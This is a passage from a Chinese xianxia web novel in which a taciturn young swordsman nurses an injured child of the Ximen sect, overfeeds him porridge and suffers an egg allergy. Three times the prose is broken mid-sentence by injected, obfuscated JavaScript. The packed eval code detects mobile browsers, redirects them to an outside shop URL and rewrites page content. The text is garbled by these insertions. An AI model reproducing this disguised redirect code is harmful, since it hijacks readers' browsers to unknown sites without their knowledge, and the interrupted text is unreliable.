“谢重楼……” 他喃喃地唤着,声音轻得像一缕烟,脑袋愈发昏沉,视线被浓重的黑雾彻底笼罩,越来越模糊,终于再也没有力气撑开眼皮。 意识沉落,世界陷入一片无边的黑暗。 你是来带我走的吗? 祁云耀遁入黑暗前,最后想。 第一卷完—— 9. 重楼 深秋,天已转凉,冷风裹着刺骨的寒意刮过西门东郊的青山,卷走草木最后一点青绿,天地间漫着化不开的萧瑟。 李婆婆刚推开吱呀作响的木门踏进小院,冷风便直扑面门,冻得她猛地打了个哆嗦。她年纪大了,脸上的皱纹堆得像沟壑,年轻时在西门家做过侍女,跟着学过些粗浅仙法,虽没修成什么气候,却比寻常耄耋老人硬朗许多,耳不聋眼不花,精神头还算足。 折回屋翻出件厚实的粗布夹袄披上,又裹紧旧围巾,攥着门把手再拉开门时,却被院中的景象吓了一大跳。 院中不知何时立着两个男人,其中一人抬着要叩门的手,还虚虚停在半空,三人隔着几步远,隔空对望,气氛一时凝滞。 面前二人眉间皆有一点金砂,明显都是半仙。要叩门的男人看着二十七八的年纪,原该是温和儒雅的眉眼,此刻却脸色惨白,额角挂着细密的汗珠,顺着下颌线滚落。他怀里用灰袍紧紧裹着个八九岁的孩子,那孩子蜷缩成一团,小手无力地垂着,胸口起伏微弱得几乎看不见,眼看便要没了气息。 而站在他身侧的,是个绝不超过二十岁的青年。身姿挺拔如松,面容淡漠,眼底却隐隐透着一丝局促不安。他左手牵着一匹披着厚重白斗篷的小灰马,马首埋着,似怯这深秋的寒霜。后背背着一柄沉甸甸的玄铁重剑,左右腰侧还各佩着一柄长剑,乍一看去,竟有些不伦不类。 荒郊野岭,突然冒出来两个仙人,还带着个快断气的孩子。 李婆婆活了大半辈子,从没遇过这等情形,一时间手足无措,后脊背阵阵发毛,连话都忘了说,只怔怔地看着两人,满心都是惶恐。 “老人家,冒昧打扰了。”男人先开了口,声音依旧温和,语速却急,“可否借您家院子的井水一用?若是方便,再借灶房烧些热水。这孩子快不行了,拜托您了。” 话音落,他便抱着孩子退回小院,小心翼翼将孩子平铺在地上,松开裹着的灰袍,露出一张口鼻渗着血的苍白小脸。 李婆婆一眼便认出,这是西门家的小公子祁云耀。 她还来不及吃惊,那一直呆站着的青年便迈步向她靠近,伸手捉住她的手腕,往她手心里塞了一整荷包的铜钱,声音木木的,带着几分呆气:“婆婆,麻烦您了。请问灶房在哪里,我要烧水。” 这下她再顾不得心头的惊讶,知晓事情紧急,忙把荷包塞回青年手里,招呼着男人将祁云耀抱进自己的卧房,又拉着这木讷的青年将马拴好,最后去院子里打水、烧火。 等两人端着滚烫的热水回到卧房时,男人已然将孩子的衣裳尽数脱下,露出腰腹间一片触目惊心的青紫。 而这孩子此刻几乎没了气息,腹部连半点起伏都看不见,小圆脸几乎没了血色。 李婆婆急忙将热水端到床边,青年端着另一盆水,却在门口踌躇不前,眉头几不可查地蹙起一点,乌黑的眸子里似是闪着细碎的水光,嘴角微微下撇,却也只是一瞬,便又恢复了面无表情的模样,端着水跟了进去。 两人一同协助男人,将孩子身上的血迹一点点擦洗干净。而后男人取下随身系着的针袋,指尖捻起一枚枚银针,精准地扎入男孩周身穴位。银针扎稳的一瞬,祁云耀那几乎消失的呼吸,竟奇迹般地恢复了些许,细弱的气音从鼻间溢出。 李婆婆压着呼吸,连大气都不敢喘,生怕惊扰了这位仙君施针。她想把青年拉出门外,别让里头救人的仙君分神,青年却纹丝不动,瘪着嘴站在原地,像根扎了根的木头,眼睛直勾勾地盯着施针的男人,盯着那隐隐有了点清醒征兆的男孩,一瞬不瞬。 “小郎君,小郎君你同我出去吧。”李婆婆压低了声音,苍老的手轻轻抓住青年的手,指腹感受到手心厚厚的茧,她愣了一瞬,又柔声劝道,“你我在里头也帮不了仙君什么忙,不如出去等。你同老婆子说说话,好不好?” 青年还是不动,也不说话,任由李婆婆抓着他的手,目光依旧胶着在床榻上。 “重楼。”施针的男人忽然温声开口,手上捻针的动作半点未停,“你和婆婆出去吧,看看有没有能帮上婆婆的地方。老婆婆把屋子都借给我们了,该好好道谢才是。” 这一声轻唤,像是戳破了青年紧绷的弦。 “师兄……”谢重楼再也忍不住,积攒的情绪骤然爆发,泪珠夺眶而出,啪嗒啪嗒地砸在衣襟上,他哽咽着,声音抖得不成样子,“对不起师兄,对不起……呜呜……我不知道会这样……对不起,我又做错了……” 那一直冷着的眼睛,此刻浸满了泪水,无措又惶恐,连脊背都微微颤抖着,满心的愧疚与自责,几乎要将他淹没。 谢长泽一惊,猛地转过头,目光扫过崩溃落泪的谢重楼,又落回床榻上稍有好转的祁云耀身上,眉心微蹙,转瞬便有了决断。 他抬手捻住最后一枚银针定稳穴位,随即快速起身将哭得喘不过气的谢重楼揽进怀里,转头看向一旁手足无措的李婆婆,语气满是歉意:“老人家,劳烦您跑一趟西门府,寻祁家的人过来,孩子是西门家的小公子,他们定是急坏了。” 说着便将那沉甸甸的荷包再度塞进李婆婆怀中,按住她推拒的手,不容她推辞。 安排妥当,便火急火燎搂着仍在痛哭的小师弟坐回祁云耀身边,一手重新捻起银针,指尖轻转调整着针尾的深浅,另一手则温柔地覆在谢重楼脸上,指腹细细擦去他颊边的泪珠。 他声音放得极柔,一下下轻轻拍着谢重楼的后背,安抚着他急促的喘息:“师兄没有怪重楼,一点都没有。重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而他靠着的那个男人,则弯着眉眼温柔一笑,轻声道:“重楼你看啊,小公子都心疼你,不想你再哭了呢。” 祁云耀晕乎乎的,脑子里压根转不动重楼是谁?只是心底那股想说话的欲望愈发强烈,像是要冲破胸膛。 终于,堵着嗓子的淤塞被破开一道小口,下一秒,祁云耀猛地弓起身子,剧烈地咳嗽起来,一口口暗红的血块从喉间咳出,呕咳声接连不断,撕心裂肺。 谢长泽连忙伸手将他揽起来,掌心轻拍着他的后背,一下下慢慢顺气。 直到祁云耀将喉间淤塞的血块尽数咳尽,胸口的憋闷才稍稍缓解。 他抬起头,一张小脸涕泗横流,唇角还沾着血渍,狼狈得很,却比方才多了些气力,掌心紧紧贴着“谢长泽”的掌心,抓的用力。 他吃力地支起一点身子,目光一瞬不瞬地凝着眼前那张俊朗却带着呆愣的脸,喉间挤出微弱的几个字: “别……别哭。” 话音落,他像是耗尽了全身最后一丝力气,两眼一翻,抓着对方的手松了劲,便又沉沉晕了过去,软倒回了床榻,再次陷入昏迷。 10. 代打(捉虫不用管) “真是麻烦二位仙君了,耀儿被家里宠坏了,顽劣不懂事,闹出这等事来,实在对不住。” 祁云耀迷迷瞪瞪睁开眼,入目先是自己卧房熟悉的床顶,转头便见自家素来性子烈如猛虎的娘亲,此刻笑得眉眼弯弯,正拉着“谢长泽”的手不住摩挲,时不时上下打量他一番,嘴里还连连赞叹,旋即又转头同他身旁那个温文的男人说着话,语气满是热络。 屋里竟热闹得很,爹、大哥,连小妹祁灵昭都来了。 小妹被祁余天抱在怀里,一双眼睛亮晶晶地黏在“谢长泽”身上,连大哥祁余天也不例外,眼神亮得像冒了金光,直勾勾盯着人,仿佛眼前站着的是什么稀世珍宝。 “祁掌门言重了。”温文男人笑着开口,“小公子是被重楼误伤,说到底是剑庄的疏忽,理当由重楼留下照料小公子,直至他痊愈。” “哎哟,这怎么好意思麻烦小仙君呢?”祁掌门祁艳嘴上推拒,手却攥着谢重楼的手不肯放,满心满眼的欢喜,恨不能把这俊朗乖巧的孩子认作亲儿,脸上的笑意就没断过。 “不麻烦的。”谢重楼按着路上谢长泽教的话,磕磕绊绊地应着,耳尖却悄悄泛红。 他实在不适应被人一直抓着手,先前被祁云耀抓着倒也罢了,如今被祁掌门攥着,心里竟莫名有些刺刺挠挠的,只想把手抽回来,可又觉得这般做太失礼,只得硬着头皮忍着,心底又煎熬又别扭,悄悄往谢长泽身后缩,抿着唇再一言不发。 “哎哟这孩子,乖得很哟!”祁艳转头冲丈夫江驰笑道,江驰看了看风姿俊朗的谢重楼,又瞧了瞧一旁玉树临风的谢长泽,不由得颔首,深以为然。 祁艳便也不再推辞,攥着谢重楼的手转向谢长泽,郑重道:“那我们便不客套了,日后就劳烦小仙君在西门住下,陪着耀儿养伤吧。” 话音刚落,祁灵昭便脆生生地开口:“小□□后要一直住在我们家吗?” 谢长泽笑意盈盈地反问:“灵昭不喜欢吗?” 祁灵昭瞅着谢重楼俊逸的模样,嘴角抿着笑,害羞地一头扎进祁余天怀里,嘻嘻道:“我喜欢呀!” 众人又热热闹闹说笑了几句,便齐齐转身出了祁云耀的卧房,往前厅去了,竟无一人留意到,床上的小胖子早已醒了过来,正睁着眼睛看着这一切。 祁云耀:“……” 他脑子还昏沉沉的转不快,直等人影都走远了,才后知后觉想起要弄点动静告诉他们自己醒了。可他刚撑着胳膊想坐起来,便浑身酸软使不上劲,小胖子呼哧呼哧喘了半天粗气,又重重倒回床上,在心里恨恨发誓,明天一定要绝食,以示自己被忽视的不满。 不知又昏昏沉沉睡了多久,祁云耀迷迷糊糊转了转头,刚想换个姿势,视线抬眼的瞬间,竟正好对上一双漆黑如墨的眸子。 那双眼睫纤长,瞳仁黑亮,正一瞬不瞬地凝着他。 “啊啊啊!” 祁云耀被这猝不及防的对视吓了个激灵,下意识猛地往后缩,动作太大直接扯动了身上的伤口,钻心的疼让他龇牙咧嘴地大叫起来,身子也忍不住胡乱扭动。 “嘘,你别动,别动啊——” 谢重楼见他挣动得厉害,敷在腰腹的伤药都要被蹭掉,情急之下直接翻身上床,伸手就抱住了乱扭的小胖墩。祁云耀被这一下抱得一怔,混沌的脑子清明了几分,抬眼看清压着自己的竟是“谢长泽”,那股乍然的恐惧瞬间散了,只剩满心惊慌,手脚并蹬:“谢、谢长泽!你上我床干嘛啊?下去,快下去!” “你别乱动!” 谢重楼仗着个子高力气大,膝盖分开卡在祁云耀乱蹬的腿弯处,左右手分别攥住他的手腕,将人牢牢按在床上,半点动弹不得,神色绷得严峻,“你不乱动,我就下去。” 祁云耀被他这么死死压着,胸口莫名涌上一股羞愤。 自己一个堂堂男子汉,被个男人压在床上算什么样子!叛逆心瞬间翻涌,偏要和他对着干,咬着牙死命挣动,可谢重楼的手劲却大得惊人,任他怎么扭都纹丝不动。想当初连自家大哥都按不住撒泼打滚的自己,今日竟栽在这人手里! 委屈瞬间叠上心头,先是醒来被全家人忽视,如今又被人这般按在床上,祁云耀鼻子一酸,直接眼睛一闭,小嘴一瘪,扯开嗓子哇哇大哭起来,哭声震天:“谢长泽我讨厌你!你放开我!呜呜呜——” 谢重楼被这突如其来的大哭吓了一跳,整个人僵在原地,手足无措地看着身下人哭得上气不接下气,他压根不知道该怎么哄人,眼看那哭声越来越大,生怕被祁家人听见过来瞧,心下更慌,手忙脚乱地换了姿势,一只手稳稳攥住祁云耀两只肉嘟嘟的手腕按在枕边,另一只手慌忙去捂他的嘴。 “呜……呜呜呜!” 祁云耀的哭声被捂成闷闷的呜咽,更觉委屈,又开始像年猪般激烈挣扎,胳膊使劲往出挣。 谢重楼单手抓着两只手腕本就吃力,小男孩的手腕肉乎乎的,掌心根本扣不住骨头,稍一挣动就滑溜溜的要脱手。 他怕祁云耀再挣裂伤口,心一横,当即俯身躺下,双腿夹住小孩乱扭的下半身,腾出另一只手将人整个人圈进怀里,牢牢箍着,这下终于能安安心心用一只手捂住他的嘴,认命般闷声道:“你听我说,你听我说,我不是谢长泽,我叫谢重楼,你要叫就叫我的名字好了,你别叫我师兄的名字。” 原本还拼尽全力想推开人的祁云耀,挣扎的动作骤然停滞,连哭声都戛然而止。他仰着张花猫似的脸,下巴抵在谢重楼胸口,脸颊的软肉挤成一团,抽抽噎噎道: “你不是谢长泽?” 谢重楼低低“嗯”了一声,可下一秒,怀里刚安静下来的小孩又开始剧烈挣动,哭声比先前更甚:“你个骗子!你怎么能骗小孩啊!你要不要脸啊!” 祁云耀嗷呜嗷呜哭着,还不停拿脑袋去撞谢重楼,力道不大,却胜在磨人。谢重楼反手又捂住他的嘴,无奈道:“你不信可以去问你爹娘,我真不是谢长泽,我叫谢重楼。” “我不信!” 祁云耀呜呜囔囔,满脸泪痕,黑黢黢的眼珠子死死瞪着谢重楼,恨不得在他脸上瞪出个窟窿。谢重楼却压根不理会他的瞪视,不看也不回应,只在保证他能正常呼吸的前提下,把他的嘴捂得严严实实,手臂将人抱得更紧,双腿也夹得牢了些,眼神又恢复了往日那股死气沉沉的模样,脸上明晃晃写着“我管你信不信”。 两人沉默对峙了不知多久,终究是祁云耀先败下阵来。他耍无赖似的想让谢重楼把手拿开,心里有问题要问,可刚微微一动,谢重楼原本稍松的手便立刻捂紧,让他连半个字都吐不出来。 祁云耀飞速思索,最后索性祭出下三滥的招数——小嘴一张,直接一口舔上了谢重楼的手心。 这一下猝不及防,惊得谢重楼瞬间弹射下床,一手死死抓着那只“被玷污”的手心,凑到眼前仔细端详,随即抬眼,用那种祁云耀前不久刚见过的、愤怒却又被强行压抑,最终摇摇欲坠满是复杂的表情,死死瞪着床上的小胖子。 祁云耀被他这眼神一瞪,当即就心虚了,尤其是那股哀怨藏眼底、生气却不说的模样,让他浑身不自在。他讪讪地扭开头躲避那阴沉的视线,想了想,小声嗫嚅:“你不捂我嘴,我也不会舔你。” 谢重楼依旧不说话,嘴唇抿成一条紧绷的直线,就那么哀怨地盯着他。 祁云耀被他盯得心烦意乱,最后索性大咧咧装看不见,生硬转移话题:“你既然说你不是谢长泽,那你为什么会在西门出现!” 谢重楼似乎没法理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177149|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解,祁云耀怎么突然又捡起这个早已翻篇的话题,他的脑子像是生了锈的偃甲,内部的齿轮嘎吱嘎吱转着,偏卡在了半路,以至于没能第一时间回答。他只是木讷地捧着那只被舔过的手,站在床边,双眼渐渐失了焦距,整个人看上去呆呆的。 “你、你怎么了?我向你道歉,我给你道歉行不行?对不起对不起!你别吓人啊!” 祁云耀一看他这涣散的瞳孔,顿时吓了一跳,恨不得直接从床上跳起来给他赔罪,生怕这人出什么事。 而谢重楼见他又要做大动作,身体直接略过大脑做出反应,轻车熟路地再次扑上床,将小孩牢牢禁锢在怀里,只不过这次,没再去捂他的嘴。 就在祁云耀以为谢重楼不会回答,准备再找些别的话题跟他搭话时,谢重楼那生锈的脑子终于磕磕绊绊转了起来。他想了很久,决定从头开始,解释自己不是谢长泽的缘由,声音木木的:“我看见了西门祁余天寄来的战书。” “师兄很苦恼,师兄打不过,我打得过,我就替他来了。” 谢重楼皱着眉,努力回忆着前因后果,又补充道:“然后我就走了,结果你来了,我打了你,师兄来了,师兄救了你,然后——” 他顿了顿,忽然想起祁云耀问的是“为什么在西门”,连忙掐断先前的话头,认认真真解释自己留下的原因:“师兄说我要照顾你,让我留下,我就在西门了。” 祁云耀皱着眉,努力消化着这极简的话语,反问:“所以是谢长泽拜托你替他应战的?” 谢重楼摇摇头,认认真真解释:“是我偷走了祁余天的战书还有师兄的佩剑,悄悄来的。” 祁云耀又想了想,满是怀疑地问:“那你怎么打败我大哥的?你是不是用了什么邪术?” 谢重楼依旧摇头,语气平淡得像在说一件寻常事:“我一挥剑,他就倒了。” 祁云耀明显不信,当即质问道:“那你怎么就逃跑了?” 话刚问出口,他才恍然觉得这问题很傻,如果这人真不是谢长泽,打完自然要跑,免得被人认出是替师兄接战。可他没料到谢重楼半点不在意,问什么便答什么:“他在地里哈哈哈的笑,我害怕,而且有人来了,我就跑了。” 祁云耀眼睛倏地亮了,瞅着谢重楼,试探着追问:“那你是怎么跑的?” 谢重楼:“先去牵白白,然后就沿山路往回走。” “白白是谁?” “我的小马。” “那你为什么不骑马?” “白白是我买的宠物,我不舍得把它当坐骑。” “哦哦哦,这样啊。那你哪里来的钱买白白?” “我出门前找米长老要了钱。” “米长老是谁?” “青云剑庄的长老。” …… 祁云耀问什么,谢重楼便老老实实答什么,半点不嫌烦。只是他的回答永远单一匮乏,反倒让祁云耀揪出更多好奇的点,问了便答,越问越起劲,到最后兴奋得直接想坐起来,却被谢重楼死死按住手脚,半点动弹不得。 他只得乖乖窝在谢重楼身侧,一张小嘴叭叭叭说个不停,问题多的像永远问不完,而谢重楼就那样一直应着,仿佛从来不会有不耐烦的时候。 祁云耀喜欢这种感觉,絮絮叨叨聊了许久,终究是先撑不住的那个,眼皮沉沉地耷拉下来,连嘴巴都不听使唤,话语断断续续,连不成一句完整的话:“剑庄……你……你的树……为什么……为什么枯萎……” 谢重楼压根没察觉祁云耀已经困得睡着了,只埋着头认真思索那棵小树枯萎的缘由,那思绪仿佛绕了很久,又似只过了一瞬,末了他斩钉截铁,用格外笃定的语气答道: “因为——它枯死了,所以枯萎了!” 11. 鸡蛋 祁云耀第二天是被饿醒的,肚子里咕噜咕噜叫个不停,饿的五脏六腑都拧在一起,肉嘟嘟的脸皱成一团。他勉强扶着床沿坐起身,只觉浑身松软无力,却又神奇地发现,身上的伤口竟半点不疼了。 他试探着挪了挪腿,想下床看看伤势,脚丫刚一触到冰凉的地面,房门就被“吱呀”一声推开。 是谢重楼。 他端着托盘进来,碗碟里的饭菜还冒着热腾腾的香气,一眼瞥见要下床的祁云耀,两道眉毛当即蹙起,语气冷硬:“你不能下床。” 说罢便端着饭走到床边站定,冷着一张脸一言不发,就那样直勾勾盯着他,眼神里带着几分不容置喙的沉郁,瞧得祁云耀后背发毛。 小胖子只得讪讪地把脚丫收回到床上,还慌忙扯过被子把自己裹成个团子。谢重楼这才满意地点点头。 他先将托盘搁在床边,又转身从一旁翻出个矮脚小桌几,支棱在祁云耀腿上,再把饭菜一一摆上去,随后拿起汤匙和空小碗,捏着瓷柄,竟隐隐透着点跃跃欲试的模样。 祁云耀扫了眼桌上的菜色,当即瘪了瘪嘴,方才因闻见饭香而分泌的唾沫星子,全被他硬生生咽了回去。 只见小桌几上摆着三个小碗,一碗清清淡淡的青菜肉沫粥,两个鸡蛋,还有一小碟看着就干巴巴的萝卜榨菜——妥妥的病号餐,半分油水都无。 他看看谢重楼,又看看这寡淡的饭菜,刚想开口拒绝,说自己不想吃这个,想吃香喷喷的大鸡腿,一勺热粥就径直递到了他唇边。 “呜——” 滚烫的粥液烫到了嘴皮,祁云耀猛地往后缩,眼眶里瞬间积蓄起生理性的泪水,泪眼婆娑地瞪了谢重楼一眼,满眼委屈。 谢重楼却半点没察觉,反倒会错了意,盯着他红彤彤的眼睛,一本正经地问:“我喂你吃饭,你开心得要哭了?” 祁云耀的嘴皮还隐隐作痛,含混着嘟囔:“烫!” 谢重楼看看他,又低头瞅了瞅手里的汤匙,眉头微蹙,似是认真思索了许久,随后郑重其事地开口:“这是咸粥。” 祁云耀愣了愣,没太明白他这话的意思,就听人继续一本正经地追问:“为什么要放糖?” “我说很烫啊!烫到我嘴了!”祁云耀急了,嗓门都拔高了些。 “哦。” 谢重楼闻言当即放下汤匙,把碗搁回小桌,伸手捏起那枚水煮蛋,将蛋壳往桌面轻轻一敲,磕出一道细缝。跟着便左右手扣住缝隙,稍一用力左右掰扯,鸡蛋被完完整整掰成了两半——当然是连着壳的。 他似乎也没料到会是这结果,愣了愣,转头看向祁云耀,眼里带着几分茫然。祁云耀也万万没想到有人会这么剥鸡蛋,肉嘟嘟的小脸上罕见地露出一丝无语,耐着性子指挥:“你再敲一敲,把蛋壳敲碎些。” 谢重楼闻言照做,先把手里的半枚鸡蛋搁回盘里,捏着另一半往桌上重重一敲。这一下力道没收住,直接把蛋白里裹着的蛋黄震得脱了壳,碎成渣渣落了满桌。 他又转头看向祁云耀,依旧是那副茫然模样。祁云耀心里已然清楚,若是老老实实等这人喂饭,自己今天一定要被饿死,索性伸手捏过盘子里另一枚鸡蛋,动作娴熟地在桌面滚着磕了几下,磕出细密的缝隙,再手掌按着鸡蛋一搓,蛋壳便碎成了小块。随即捏着鸡蛋尖轻轻一撕,完整的蛋壳便被揭了下来,露出里面白嫩嫩的蛋白。 他抬眼瞥了谢重楼一眼,见这人正一瞬不瞬盯着自己的手,乌黑的眸子里似有细碎的星光在闪,于是他很受用的干脆将剥好的完整鸡蛋递了过去。自己则捏过谢重楼剥坏的那半枚,小心翼翼剥净蛋壳扔进粥碗,又把盘子里最后半枚鸡蛋也剥了丢进去,最后将桌上散落的蛋黄碎都捏进空盘,这才捏起汤匙,吃一口便对着汤匙吹一口气,慢慢悠悠地进食。 谢重楼捏着那枚完整的白煮蛋,似是为难似的,又转头看了看祁云耀。祁云耀只当他是不好意思,扒着粥爽快道:“你快吃吧,让你着看我吃,我都不好意思了。” 谢重楼却没动,捏着鸡蛋定定看着他:“我不吃。” “哎呀这有什么的!”祁云耀一边呼噜呼噜喝着粥,脸颊塞得一鼓一鼓的,像只偷食的小仓鼠,“不就是一个鸡蛋嘛,你别不好意思。” 谢重楼看了看喝粥喝得眉眼弯弯、十分香甜的祁云耀,又低头看了看自己手里的鸡蛋,沉默半晌,终究像是下定了某种决心,小口小口地把那枚鸡蛋吃完了。 祁云耀瞧着这一幕,心里竟莫名的开心。他觉得自己总算有了某一方面能超过这位半仙的本事,而且打心底里,竟很喜欢这个模样漂亮、性子呆呆的半仙守在自己身边。 等祁云耀慢悠悠吃完,谢重楼默默将小桌几收了,端着空碗空盘便转身出了屋。可这一走,竟过了一个多时辰,都再没见他回来。 祁云耀靠在床头,摸了摸圆滚滚的肚子,心里却隐隐约约浮起一丝不妙的预感。 直到晚饭时分,推门来送饭的换成了府里平日里相熟的弟子,祁云耀心里那股不妙的预感,才切切实实卷上心头,堵得他闷慌。 “谢重楼呢?”他急急追问。 那弟子正低头给他支棱桌板,头也不抬地应:“好像是生病了。中午送碗回灶房的时候,脸肿得吓人,已经送去老先生那里瞧了。你也别担心,祁大哥和灵昭妹妹一直守着他呢,没事的。” “什么!”祁云耀惊呼出声,弟子还以为自己哪句话戳到了他,结果就听这小胖子拔高了嗓门怒斥,“他们凭什么守在他身边啊!” 弟子被逗得好笑,将桌板搭稳,又把和中午大同小异的粥菜端上桌,干脆托着腮守在床边看他吃:“你这小孩可真有意思,小仙君因为你脸肿得跟猪头似的,你倒还先叽歪上了?” 祁云耀扒着粥碗,一脸不忿:“什么叫因为我,我又没打他!” “你喂他吃鸡蛋了啊,人家都说不吃了,你还硬叫他吃。”弟子笑得眉眼弯弯,“小仙君不能吃鸡蛋的,一吃就肿,结果呢,你还非逼着人家吃,哈哈哈。” “他没说——不对!”祁云耀猛地顿住,嗓门又大了几分,“他只说他不吃,没告诉我他不能吃啊!我哪知道,我还以为他跟我客气呢!”他吼得太急,嘴巴里的米粒都溅出来几粒,吓得弟子连忙往后退了两步,生怕被误伤。 “好啦好啦,没怪你。”弟子摆了摆手,又道,“我来给你送饭的时候路过瞧了一眼,小仙君脸上都快消了,估计再晚点就来给你换药了。”说着,他俯身凑近一点,拿汤匙把祁云耀藏在碗底的青菜全扒拉出来,语气瞬间严肃,“祁门主可是特地叮嘱我了,你再敢像糊弄小仙君那样,偷偷不吃碗里的青菜,明日就她亲自来盯你吃饭!” 祁云耀瞬间垮了脸,瘪着嘴嘟囔:“我吃我吃还不行吗!”说着捏起筷子,把青菜一股脑扒进嘴里,胡乱嚼了两下就往下咽,噎得他直伸脖子,半天没喘过气。 果然,当晚到了换药的时辰,谢重楼便回来了。 他手上稳稳托着药瓶药罐,脸上瞧着已不大看得出红肿,唯有眼周一圈以及脸颊泛着淡淡的红艳,想来是过敏还未完全消尽。 祁云耀乖乖坐在床边看着他,纵使心里仍觉得这事不全是自己的错,还是先软着声音说了句:“对不起。” 谢重楼正低头解他身上缠的纱布,闻言手上动作微顿,抬眼瞥他:“你为什么要道歉?” “我逼你吃鸡蛋了,害得你食毒过敏,我怪不好意思的。”祁云耀乖乖抬手,方便他揭下后背的纱布,语气里带着几分难为情的软和。 谢重楼嗯了一声,将干透发黑的药膏连着纱布轻轻揭下来,动作虽看着有些生疏,却格外连贯,半点没扯到他的伤口。他从小瓷罐里挖出淡青色的药膏,指尖沾着药,细细抹在祁云耀受伤最重的腰腹处,梳得整整齐齐的头发松垮了些,抬头时一缕墨发滑落,勾在颊边,衬得眉眼愈发清隽,淡淡道:“那我原谅你。” 祁云耀一听这话,心里反倒莫名不快,当即瘪着嘴反问:“可我觉得你也有大问题啊!你只说你不吃,没说吃了会食毒过敏。而且我也是好心分你吃的,又不是故意的,所以你不觉得……” 他原本想说“你也该跟我道个歉”,可话到嘴边,又扭捏着不好意思说出口,只含糊地顿住了话头。 谢重楼却像是压根没听懂他的言外之意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177150|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上抹药的动作彻底停了,转头睁着双乌黑澈亮的眸子,直直看着他,一脸认真地问:“我该如何?” 祁云耀瞬间羞恼起来,心里直嘀咕这人怎么这么不开窍,连话外音都听不出来,还一个劲追问! 他想要的是谢重楼自己悟出来,主动跟他道歉——毕竟他一下午都在担心他,还满心愧疚,结果这个坏半仙偏要装作听不懂,非要他把话挑明。可道歉这种事,自己说出来还有什么意思?他才不要直接说! 小胖子鼓着腮帮子,别过脸不去看他,手指抠着床单,气哼哼的:“没什么!你赶紧抹药!” 谢重楼皱了皱眉,实在摸不透这小孩又闹什么脾气,却还是依着他的话,继续低头上药。 可方才还乖乖配合的小胖子,态度竟来了个一百八十度大转弯——要么故意耷拉着胳膊不抬手,要么就唧唧歪歪哼哼,一口一个“疼死了”“碰着伤口了”,横竖就是百般不配合。 一番拉扯纠缠下来,两人皆是累得大汗淋漓。 谢重楼蹲在床边收拾药瓶药罐,呼吸微微急促,像是许久未曾与人这般耗过精力;祁云耀也瘫在床上,呼哧呼哧地喘着气,心里还憋着一股气——方才他故意扭着身子不配合,这人竟直接单手把他拎起来,硬邦邦地缠纱布,半点不顾及他的面子! 哼!我不要面子的吗! 祁云耀暗自咬牙,心里打定主意,今晚非要再和这个木头半仙大战三百回合,出了这口恶气不可。可念头刚落,他蓦地想起什么,抬眼问: “你住在哪里啊?” 谢重楼将药瓶一一归置好,放进托盘,头也不抬:“祁门主在你隔壁收拾了间客舍给我。” 不行不行! 祁云耀心里咯噔一下,自己这口恶气还没出呢,哪能放他回去安安稳稳睡觉! 他当即扯着嗓子哀嚎一声:“那我夜里要是身上疼怎么办?” “你叫我,我听得见。”谢重楼端起托盘,脚步已经挪到了门边,作势就要出去。 祁云耀连忙抬手拦住他,急声道:“那、那不行!万一,万一我就叫你那一声的功夫,直接疼死了呢!” 谢重楼闻言,皱着眉回头看他,乌黑的眸子里满是认真的思索——真的会有人因为喊了一声疼,就把自己疼死吗?他想不通。他自己肯定不会,师兄和师傅不会,青云剑庄所有人想来都不会。西门——西门祁余天应该也不会,祁门主和江先生更是不会。 但—— 他的目光落回床上鼓着腮帮子的小胖子身上,到了嘴边的话又咽了回去,竟隐隐开始怀疑这话的真实性。转念一想,这人连自己一剑都接不住,当初还差点被打死,身子骨怕是比纸还脆。又想起方才换药这小孩哭唧唧的模样,还有昨天晚上被按在床上时的嚎啕大哭,便又说服自己:说不定,这个人还真的会被疼死呢。 毕竟,这是个连换个药都要闹脾气的小孩子。 谢重楼定定看着祁云耀,眉头微蹙,脑子里转了几圈也没琢磨出个妥当的解决法子。师兄教过,想不明白的事就开口问旁人,于是他便直愣愣问道:“那你觉得该怎么办?” 祁云耀心里莫名的不喜欢他这种说话方式,那股想揪着他大吵三天三夜的火气又冒了头,可转念一想,好歹把这傻半仙忽悠住了,当即压下火气,故作理所当然道:“那你搬过来和我一起住呗!你跟我睡一张床,我夜里疼了直接喊你行,而且我床这么大,睡四个人都绰绰有余,你搬过来也挤不着你。” 他心里还打着小算盘,想着这人睡在身边,夜里有的是机会找茬出气,嘴上却装得一脸诚恳。 “好。” 谢重楼半点犹豫都没有,干脆利落地应了声 话音落,他便端着托盘转身出了卧室,脚步干脆,竟没给祁云耀留半分反应的机会。 祁云耀张着嘴愣在原地,半晌没回过神——他还以为这人好歹要迟疑一下,或是问上几句,竟就这么答应了?那自己准备的一堆说辞,岂不是白想了? 小胖子鼓着腮帮子瘫回床上,心里又气又闷,却又隐隐透着点说不清道不明的东西,嘟嘟囔囔: “傻死了……” 12. 坦白 祁云耀原本铆足了劲,准备和谢重楼大战八百回合。 可左等右等,没等来谢重楼,自己反倒先熬不住困意,蜷在床上睡了过去。 所以谢重楼沐浴过后,抱着自己的枕头轻手轻脚进来时,撞见的就是小胖子四仰八叉的睡相。 他默默将自己的枕头先搁在床角,小心地将祁云耀往床里挪了挪,自己在外侧躺下。 